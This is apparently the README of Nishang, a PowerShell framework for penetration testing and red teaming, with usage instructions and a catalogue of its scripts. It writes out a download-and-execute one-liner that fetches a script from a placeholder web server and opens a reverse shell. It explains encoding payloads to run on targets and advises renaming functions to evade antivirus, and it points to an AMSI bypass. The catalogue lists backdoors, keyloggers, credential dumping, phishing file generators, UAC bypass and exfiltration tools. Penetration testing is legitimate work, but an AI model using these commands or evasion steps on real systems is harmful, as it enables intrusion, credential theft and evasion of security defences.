Nishang is a framework and collection of scripts and payloads which enables usage of PowerShell for offensive security, penetration testing and red teaming. Nishang is useful during all phases of penetration testing.
By nikhil_mitt
Import all the scripts in the current PowerShell session (PowerShell v3 onwards).
PS C:\nishang> Import-Module .\nishang.psm1
Or use the individual scripts with dot sourcing.
PS C:\nishang> Import-Module .\Gather\Get-Information.ps1
PS C:\nishang> Get-Information
To get help about any script or function, use:
PS C:\nishang> Get-Help [scriptname] -full
Note that the help is available for the function loaded after running the script and not the script itself since version 0.3.8. In all cases, the function name is same as the script name.
For example, to see the help about Get-WLAN-Keys.ps1, use
PS C:\nishang> .C:\nishang\Gather\Get-WLAN-Keys.ps1
PS C:\nishang> Get-Help Get-WLAN-Keys -Full
Nishang scripts are flagged by many Anti Viruses as malicious. The scripts on a target are meant to be used in memory which is very easy to do with PowerShell. Two basic methods to execute PowerShell scripts in memory:
Use below command to execute a PowerShell script from a remote shell, meterpreter native shell, a web shell etc. and the function exported by it. All the scripts in Nishang export a function with same name in the current PowerShell session.
powershell Invoke-Expression (New-Object Net.WebClient).DownloadString('http://<yourwebserver>/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]
All the scripts in Nishang export a function with same name in the current PowerShell session. Therefore, make sure the function call is made in the script itself while using encodedcommand parameter from a non-PowerShell shell. For above example, add a function call (without quotes) "Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]".
Encode the script using Invoke-Encode from Nishang:
PS C:\nishang> .\nishang\Utility\Invoke-Encode
PS C:\nishang> Invoke-Encode -DataToEncode C:\nishang\Shells\Invoke-PowerShellTcp.ps1 -OutCommand
Encoded data written to .\encoded.txt
Encoded command written to .\encodedcommand.txt
From above, use the encoded script from encodedcommand.txt and run it on a target where commands could be executed (a remote shell, meterpreter native shell, a web shell etc.). Use it like below:
C:\Users\target> powershell -e [encodedscript]
If the scripts still get detected, changing the function and parameter names and removing the help content will help.
In case Windows 10's AMSI is still blocking script execution, see this blog: http://www.labofapenetrationtester.com/2016/09/amsi.html
Nishang currently contains the following scripts and payloads.
Set-DCShadowPermissions Modify AD objects to provide minimal permissions required for DCShadow.
Antak Execute PowerShell scripts in memory, run commands, and download and upload files using this webshell.
HTTP-Backdoor A backdoor which can receive instructions from third party websites and execute PowerShell scripts in memory.
DNS_TXT_Pwnage A backdoor which can receive commands and PowerShell scripts from DNS TXT queries, execute them on a target, and be remotely controlled using the queries.
Execute-OnTime A backdoor which can execute PowerShell scripts at a given time on a target.
Gupt-Backdoor A backdoor which can receive commands and scripts from a WLAN SSID without connecting to it.
Add-ScrnSaveBackdoor A backdoor which can use Windows screen saver for remote command and script execution.
Invoke-ADSBackdoor A backdoor which can use alternate data streams and Windows Registry to achieve persistence.
Add-RegBackdoor A backdoor which uses well known Debugger trick to execute payload with Sticky keys and Utilman (Windows key + U).
Set-RemoteWMI Modify permissions of DCOM and WMI namespaces to allow access to a non-admin user.
Set-RemotePSRemoting Modify permissions of PowerShell remoting to allow access to a non-admin user.
Invoke-AmsiBypass Implementation of publicly known methods to bypass/avoid AMSI.
Out-CHM Create infected CHM files which can execute PowerShell commands and scripts.
Out-Word Create Word files and infect existing ones to run PowerShell commands and scripts.
Out-Excel Create Excel files and infect existing ones to run PowerShell commands and scripts.
Out-HTA Create a HTA file which can be deployed on a web server and used in phishing campaigns.
Out-Java Create signed JAR files which can be used with applets for script and command execution.
Out-Shortcut Create shortcut files capable of executing PowerShell commands and scripts.
Out-WebQuery Create IQY files for phishing credentials and SMB hashes.
Out-JS Create JS files capable of executing PowerShell commands and scripts.
Out-SCT Create SCT files capable of executing PowerShell commands and scripts.
Out-SCF Create a SCF file which can be used for capturing NTLM hash challenges.
Enable-DuplicateToken When SYSTEM privileges are required.
Remove-Update Introduce vulnerabilities by removing patches.
Invoke-PsUACme Bypass UAC.
Download-Execute-PS Download and execute a PowerShell script in memory.
Download_Execute Download an executable in text format, convert it to an executable, and execute.
Execute-Command-MSSQL Run PowerShell commands, native commands, or SQL commands on a MSSQL Server with sufficient privileges.
Execute-DNSTXT-Code Execute shellcode in memory using DNS TXT queries.
Out-RundllCommand Execute PowerShell commands and scripts or a reverse PowerShell session using rundll32.exe.
Check-VM Check for a virtual machine.
Copy-VSS Copy the SAM file using Volume Shadow Copy Service.
Invoke-CredentialsPhish Trick a user into giving credentials in plain text.
FireBuster FireListener A pair of scripts for egress testing
Get-Information Get juicy information from a target.
Get-LSASecret Get LSA Secret from a target.
Get-PassHashes Get password hashes from a target.
Get-WLAN-Keys Get WLAN keys in plain text from a target.
Keylogger Log keystrokes from a target.
Invoke-MimikatzWdigestDowngrade Dump user passwords in plain on Windows 8.1 and Server 2012
Get-PassHints Get password hints of Windows users from a target.
Show-TargetScreen Connect back and Stream target screen using MJPEG.
Invoke-Mimikatz Load mimikatz in memory. Updated and with some customisation.
Invoke-Mimikittenz Extract juicy information from target process (like browsers) memory using regex.
Invoke-SSIDExfil Exfiltrate information like user credentials, using WLAN SSID.
Invoke-SessionGopher Identify admin jump-boxes and/or computers used to access Unix machines.
Invoke-Interceptor A local HTTPS proxy for MITM attacks.
Create-MultipleSessions Check credentials on multiple computers and create PSSessions.
Run-EXEonRemote Copy and execute an executable on multiple machines.
Invoke-NetworkRelay Create network relays between computers.
Prasadhak Check running hashes of running process against the VirusTotal database.
Brute-Force Brute force FTP, Active Directory, MSSQL, and Sharepoint.
Port-Scan A handy port scanner.
Powerpreter All the functionality of nishang in a single script module.
Invoke-PsGcat Send commands and scripts to specifed Gmail account to be executed by Invoke-PsGcatAgent
Invoke-PsGcatAgent Execute commands and scripts sent by Invoke-PsGcat.
Invoke-PowerShellTcp An interactive PowerShell reverse connect or bind shell
Invoke-PowerShellTcpOneLine Stripped down version of Invoke-PowerShellTcp. Also contains, a skeleton version which could fit in two tweets.
Invoke-PowerShellTcpOneLineBind Bind version of Invoke-PowerShellTcpOneLine.
Invoke-PowerShellUdp An interactive PowerShell reverse connect or bind shell over UDP
Invoke-PowerShellUdpOneLine Stripped down version of Invoke-PowerShellUdp.
Invoke-PoshRatHttps Reverse interactive PowerShell over HTTPS.
Invoke-PoshRatHttp Reverse interactive PowerShell over HTTP.
Remove-PoshRat Clean the system after using Invoke-PoshRatHttps
Invoke-PowerShellWmi Interactive PowerShell using WMI.
Invoke-PowerShellIcmp An interactive PowerShell reverse shell over ICMP.
Invoke-JSRatRundll An interactive PowerShell reverse shell over HTTP using rundll32.exe.
Invoke-JSRatRegsvr An interactive PowerShell reverse shell over HTTP using regsvr32.exe.
Add-Exfiltration Add data exfiltration capability to Gmail, Pastebin, a web server, and DNS to any script.
Add-Persistence Add reboot persistence capability to a script.
Remove-Persistence Remote persistence added by the Add-Persistence script.
Do-Exfiltration Pipe (|) this to any script to exfiltrate the output.
Download Transfer a file to the target.
Parse_Keys Parse keys logged by the keylogger.
Invoke-Encode Encode and compress a script or string.
Invoke-Decode Decode and decompress a script or string from Invoke-Encode.
Start-CaptureServer Run a web server which logs Basic authentication and SMB hashes.
ConvertTo-ROT13 Encode a string to ROT13 or decode a ROT13 string.
Out-DnsTxt Generate DNS TXT records which could be used with other scripts.
Updates about Nishang can be found at my blog http://labofapenetrationtester.com and my Twitter feed @nikhil_mitt.
Please raise an issue if you encounter a bug or have a feature request. You can email me at nikhil [dot] uitrgpv at gmail.com
For feedback, discussions, and feature requests, join: http://groups.google.com/group/nishang-users
I am always looking for contributors to Nishang. Please submit requests or drop me an email.
Some helpful blog posts to check out for beginners:
http://www.labofapenetrationtester.com/2014/06/nishang-0-3-4.html
http://labofapenetrationtester.com/2012/08/introducing-nishang-powereshell-for.html
http://labofapenetrationtester.com/2013/08/powerpreter-and-nishang-Part-1.html
http://www.labofapenetrationtester.com/2013/09/powerpreter-and-nishang-Part-2.html
All posts about Nishang: